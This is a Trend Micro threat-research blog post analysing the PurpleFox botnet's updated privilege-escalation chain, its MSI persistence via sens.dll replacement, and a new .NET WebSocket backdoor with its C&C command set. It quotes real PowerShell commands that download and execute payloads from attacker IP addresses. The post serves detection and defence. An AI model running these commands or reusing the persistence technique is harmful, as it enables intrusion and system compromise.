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https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html
Submission: On October 20 via api from US — Scanned from DE
Submission: On October 20 via api from US — Scanned from DE
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<div class="main-menu-search__field-wrapper" id="cludo-search-form">
<table cellspacing="0" cellpadding="0" class="gsc-search-box" style="width:100%">
<tbody>
<tr>
<td class="gsc-input">
<input type="text" size="10" class="gsc-input" name="search" title="search" placeholder="Search Trend Micro" autocomplete="off">
</td>
</tr>
</tbody>
</table>
</div>
</form><form class="main-menu-search" aria-label="Search Trend Micro">
<div class="main-menu-search__field-wrapper" id="cludo-search-form-mobile">
<table cellspacing="0" cellpadding="0" class="gsc-search-box" style="width:100%">
<tbody>
<tr>
<td class="gsc-input">
<input type="text" size="10" class="gsc-input" name="search" title="search" placeholder="Search Trend Micro" autocomplete="off">
</td>
<td class="gsc-search-close collapsed" style="width:1%;" data-target="#search-mobile-wrapper" data-toggle="collapse">
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</td>
</tr>
</tbody>
</table>
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</form>POST #
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Cyber Threats
PurpleFox Adds New Backdoor That Uses WebSockets
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Cyber Threats
PURPLEFOX ADDS NEW BACKDOOR THAT USES WEBSOCKETS
In September 2021, the Trend Micro Managed XDR (MDR) team looked into suspicious
activity related to a PurpleFox operator. Our findings led us to investigate an
updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732)
and optimized rootkit capabilities leveraged in their attacks.
By: Abdelrhman Sharshar, Jay Yaneza, Sherif Magdy October 19, 2021 Read time: 9
min (2524 words)
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--------------------------------------------------------------------------------
In September 2021, the Trend Micro Managed XDR (MDR) team looked into suspicious
activity related to a PurpleFox operator. Our findings led us to investigate an
updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732)
and optimized rootkit capabilities leveraged in their attacks.
We also found a new backdoor written in .NET implanted during the intrusion,
which we believe is highly associated with PurpleFox. This backdoor, which we
call FoxSocket, leverages WebSockets to communicate with its command-and-control
(C&C) servers, resulting in a more robust and secure means of communication
compared to regular HTTP traffic.
We believe that this particular threat is currently being aimed at users in the
Middle East. We first encountered this threat via customers in the region. We
are currently investigating if it has been found in other parts of the world.
In this blog, we describe some of the observed modifications for the initial
PurpleFox payloads, alongside the new implanted .NET backdoor and the C2
infrastructure serving its functionality.
PurpleFox Capabilities and Technical Analysis
PowerShell
The activity starts with either of the following PowerShell commands being
executed:
* "cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png');MsiMake
hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png"
* "cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http[:]//117.187.136.141[:]13405/57BC9B7E.Png');MsiMake
http[:]//117.187.136.141[:]13405/0CFA042F.Png"
These commands download a malicious payload from the specified URLs, which are
hosted on multiple compromised servers. These servers are part of the PurpleFox
botnet, with most of these located in China:
Table 1. Location of PurpleFox servers Country Server count China 345 India 34
Brazil 29 United States 26 Others 113
The fetched payload is a long script consisting of three components:
1. Tater (Hot Potato – privilege escalation)
2. PowerSploit
3. Embedded exploit bundle binary (privilege escalation)
The script targets 64-bit architecture systems. It starts by checking the
Windows version and applied hotfixes for the vulnerabilities it is targeting.
* Windows 7/Windows Server 2008
* CVE-2020-1054 (KB4556836, KB4556843)
* CVE-2019-0808 (KB4489878, KB4489885, KB2882822)
* Windows 8/Windows Server 2012
* CVE-2019-1458 (KB4530702, KB4530730)
* Windows 10/Windows Server 2019
* CVE-2021-1732 (KB4601354, KB4601345, KB4601315, KB4601319)
After selecting the appropriate vulnerability, it uses the PowerSploit module to
reflectively load the embedded exploit bundle binary with the target
vulnerability and an MSI command as arguments. As a failover, it uses the Tater
module to launch the MSI command.
The goal is to install the MSI package as an admin without any user interaction.
MSI Package
The MSI package starts by removing the following registry keys, which are old
Purple Fox installations if any are present:
* HKLM\SYSTEM\CurrentControlSet\Services\{ac00-ac10}
It then installs the components (dbcode21mk.log and setupact64.log) of the
Purple Fox backdoor to Windows directory. Afterward, it sets two registry values
under the key “HKLM\SYSTEM\CurrentControlSet\Control\Session Manager”:
* AllowProtectedRenames to 0x1, and
* PendingFileRenameOperations to the following:
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\setupact64.log
\??\C:\Windows\system32\sens.dll
These commands move sens.dll to C:\Windows\AppPatch\Acpsens.dll and replace it
with the installed file setupact64.log.
The MSI package then runs a .vbs script that creates a Windows firewall rule to
block incoming connections on ports 135, 139, and 445. As a final step, the
system is restarted to allow PendingFileRenameOperations to take place,
replacing sens.dll, which will make the malware run as the System Event
Notification Service (SENS).
PurpleFox Backdoor
The installed malware is a .dll file protected with VMProtect. Using the other
data file installed by the MSI package, it unpacks and manually loads different
DLLs for its functionality. It also has a rootkit driver that is also unpacked
from the data file and is used to hide its files, registry keys, and processes.
The sample starts by copying itself to another file and installing a new
service, then restoring the original sens.dll file. Afterward, it loads the
driver to hide its files and registries and then spawns and injects a sequence
of a 32-bit process to inject its code modules into, as they are 32-bit DLLs.
Figure 1. PurpleFox installation process
WebSocket Backdoor
Initial Delivery
The initial activity for retrieving this backdoor was captured three days after
the previous PurpleFox intrusion attempts on the same compromised server. The
Trend Micro Vision One™ platform flagged the following suspicious PowerShell
commands:
* "cmd.exe" /c powershell -c "iex((new-object
Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/1'))"
* "cmd.exe" /c powershell -c "iex((new-object
Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/2'))"
* "cmd.exe" /c powershell -c "iex((new-object
Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/3'))"
* "cmd.exe" /c powershell -c "iex((new-object
Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/4'))"
* "cmd.exe" /c powershell -c "iex((new-object
Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/5'))"
* "cmd.exe" /c powershell -c "iex((new-object
Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/8'))"
* "cmd.exe" /c powershell -c "iex((new-object
Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/9'))"
Figure 2. Trend Micro Vision One alert for PowerShell commands
We analyzed the payload hosted on the URLs, which were variations of
185[.]112.144.245/a/[1-9], and all were found to be serving two variants of
another PowerShell script that acts as the main downloader for the .NET
backdoor.
Figure 3. Contents of payload
The difference between the two observed PowerShell scripts were in
Base64-encoded data that was passed as an argument to the .NET sample downloaded
from 185[.]112[.]144[.]45/a/data and finally invoked with this configuration
parameter. We found two different configuration parameters used: We observed the
first one on August 26 and the second one with more domains embedded on August
30. The decoded Base64-encoded configuration parameters are shown in the
following figures:
Figure 4. August 26 configuration
Figure 5. August 30 configuration
These configuration parameters will be used by the .NET initialization routines
to pick a C&C server and initialize cryptographic functions for the C&C channel.
Aside from the configuration, the payload itself is retrieved from
185.112.144[.]45/a/data. We also found some old variants that date back to June
22 that have fewer capabilities than the more recent variants.
During the earliest iterations for deploying this backdoor, aligning with the
creation data of the malicious domain advb9fyxlf2v[.]com, the configuration
parameters had a minimal number of subdomains to contact the C&C servers
compared to the recent one.
Figure 6. Backdoor configuration
.NET Backdoor Obfuscation
Let us start the analysis with the backdoor dropped on the SQL server. When
decompiled, it will output some obfuscated symbols, although most of these
can’t be restored to the original. Merely making them to be human-readable is
sufficient for basic static analysis. Sometimes, some of the original names can
be restored.
Figure 7. Cleaned classes and method names
One notable characteristic we rarely see in malware is leveraging WebSocket
communication to the C&C servers for an efficient bidirectional channel between
the infected client and the server.
WebSocket is a communication technology that supports streams of data to be
exchanged between a client and a server over just a single TCP session. This is
different from traditional request or response protocols like HTTP. This gives
the threat actor a more covert alternative to HTTP requests and responses
traffic, which creates an opportunity for a more silent exfiltration with less
likelihood of being detected.
Figure 8. Traditional (left) and WebSocket techniques (right)
It initializes a WebSocket communication with its C&C server and keeps it open
by sending keepalive messages to maintain the TCP connection. Once this is
established, a series of bidirectional messages will be exchanged between the
infected machine and the selected C&C server to negotiate a session encryption
key.
Figure 9. TCP/IP exchanges between client and server
The execution starts by initializing the WebSocket and registering four callback
functions as handlers for the WebSocket events.
Figure 10. Function for registering callback functions
One of the relevant callbacks is onOpen, which will initialize the C&C channel
encryption parameters once the WebSocket object is fired for the first time. As
shown in the next section, this is mainly for implementing the first
Diffie-Hellman (DH) key exchange message with the C&C server. On the other side,
the onReceive handler will process and dispatch all the commands received from
the server after a secure communication channel is established and when the
session encryption key is updated.
Key Negotiations
The first key exchange with the C&C server is carried out by the onOpen callback
registered function, as seen in Figure 11.
Figure 11. onOpen function
It initializes the EC DH object with some parameters to start the shared secret
key negotiation. The ECDiffieHellmanKeyDerivationFunction property is then set
to Hash. This property is for specifying the key derivation function that the
ECDiffieHellmanCng class will use to convert secret agreements into key
material, so a hash algorithm is used to generate key material (instead of HMAC
or TLS).
Afterward, the client will try to send the property PublicKey, which will be
used at the C&C side on another ECDiffieHellmanCng object to generate a shared
secret agreement. Eventually, this data will be sent on the WebSocket as the
first key exchange message. However, instead of sending it in cleartext, the
client deploys a symmetric AES encryption for any communication over the
WebSocket for the first exchange, as no shared secret is established yet, and
the AES encryption will generate a default key for this first exchange.
Figures 12-13. Function and code for the AES encryption key
This will result in the key negotiation message being encrypted with AES using
the shown parameters and a dummy key generated (111….11)[32] named byte_0 in the
following debugging session with the actual AES cipher text with a fixed length
of 176 bytes.
Figure 14. Structure of key exchange message
The 176 encrypted bytes are the actual data that will be sent over the
WebSocket, which marks the end of the first key exchange message.
Second Exchange (C&C to Victim)
The second key exchange message is sent from the server to the client that will
be handled by the onReceive function. The execution is invoked by the message
handler.
Figure 15. Invoking the onReceive function
This AES-encrypted second exchange has a fixed length of 304 bytes.
Figure 16. Contents of incoming message
It then checks if this incoming message is related to the control plane key
establishment or just a normal data command.
If it is related to the former, the first step is to decrypt the symmetric
encryption on the C2 channel then finalize the shared secret generation by
handing the execution to ECDH derivation function method_7.
Figure 17. Handoff to method_7 function
The client will verify the signed message by loading the RSA public key loaded
from the configuration payload shown in the previous section. If the signature
is verified correctly, key material will be derived from the DH exchange and
will be saved as the permanent symmetric AES encryption key (Symmetric_AES_key
variable) that will be used as long as the WebSocket channel is active.
Figure 18. method_7 function
Third Exchange (Victim to C&C)
Once an efficient encrypted session is established over the WebSocket, the
client will fingerprint the machine by extracting specific data (including the
username, machine name, local IP, MAC address, and Windows version) and will
relay such data over the secure channel to get the victim profiled at the server
side, which is the final exchange before the WebSocket channel is fully
established. It will then listen for further commands, which will be covered in
the next section.
As the fingerprinting data collected will be different from one execution
environment to another, this message will vary in length. From our lab analysis,
it was 240 bytes with the newly generated shared secret key.
Figure 19. Newly generated secret key
As far as the WebSocket is maintained with the keepalive messages shown earlier,
the operators can signal any command to be executed, so what happens next mainly
depends on the targeting and the actual motivation of the operator.
WebSocket Commands
In this section, we cover some of the observed commands sent from the server.
There are some minor differences between variants across them with regard to the
command numbers and the supported functionality.
All the handling of commands is implemented in the main dispatch routine (except
for command 160, which is used for key negotiation or renegotiation).
Table 2. List of commands Command code Functionality 20 Sends the current date
on the victim machine 30 Leaks DriveInfo.GetDrives() results info for all the
drives 40 Leaks DirectoryInfo() results info for a specific directory 50
FileInfo()results info for a specific file 60 Recursive directory search
70 Executes WMI queries - ManagementObjectSearcher() 80 Closes the WebSocket
Session 90 Exits the process 100 Spawns a new process
110 Downloads more data from a specific URL to the victim machine
120 DNS lookup from the victim machine
130 Leaks specific file contents from the victim machine
140 Writes new content to a specific location
150 Downloads data then write to a specific file
160 Renegotiates session key for symmetric encryption
180 Gets current process ID/Name
210 Returns the configuration parameter for the backdoor
220 Kills the process then start the new process with a different config
230 Kills specific process with PID
240 Queries internal backdoor object properties
260 Leaks hashes of some specific files requested
270 Kills list of PIDs
280 Deletes list of files/directories requested 290 Moves list of
files/directories to another location
300 Creates new directory to a specific location
WebSocket C&C Infrastructure
At the time of this writing, there were several active C&C servers controlling
the WebSocket clients. By profiling the infected targets and interacting through
different commands sent, we listed the observed IP addresses and the registered
domains found in the PowerShell downloaders and the backdoor configuration
parameters.
Table 3. WebSocket C&C serversIP address Description ASN Notable activity IP
address Description ASN Notable activity 185.112.144.245
(Hosting PS payloads, /a/[1-9])
(Hosting .Net Payload, /a/data)
AS 44925 ( 1984 ehf )
Iraq, Saudi Arabia, Turkey, UAE 185.112.147.50 C&C server Turkey, US, UAE
185.112.144.101 Turkey 93.95.226.157 US 93.95.228.163 US 93.95.227.183 -
93.95.227.169 UAE 93.95.227.179 - 185.112.146.72 Potential C&C server -
185.112.146.83 -
The backdoor picks one subdomain randomly from the configuration data and tries
to connect via WebSockets. If it fails to connect on port 12345, it will try to
resolve another subdomain.
Figure 20. Random C&C servers
The main domain advb9fyxlf2v[.]com used by these servers — registered on June
17, 2021, just within days of the first observed variant — is mainly for load
balancing across the multiple active servers.
Conclusion
The rootkit capabilities of PurpleFox make it more capable of carrying out its
objectives in a stealthier manner. They allow PurpleFox to persist on affected
systems as well as deliver further payloads to affected systems. We are still
monitoring these new variants and their dropped payloads. The new .NET WebSocket
backdoor (called FoxSocket, which we detect as Backdoor.MSIL.PURPLEFOX.AA) is
being closely monitored to discover any more information about this threat
actor’s intentions and objectives.
Trend Micro Solutions and Indicators of Compromise
The capabilities of the Trend Micro Vision One platform made both the detection
of this attack and our investigation into it possible. We took into account
metrics from the network and endpoints that would indicate potential attempts of
exploitation. The Trend Micro Vision One Workbench shows a holistic view of the
activities that are observed in a user’s environment by highlighting important
attributes related to the attack.
Trend Micro Managed XDR offers expert threat monitoring, correlation, and
analysis from experienced cybersecurity industry veterans, providing 24/7
service that allows organizations to have one single source of detection,
analysis, and response. This service is enhanced by solutions that combine AI
and Trend Micro’s wealth of global threat intelligence.
All IOCs related to this attack can be found in this separate file.
Tags
Malware | Endpoints | Research | Articles, News, Reports | Cyber Threats
AUTHORS
* Abdelrhman Sharshar
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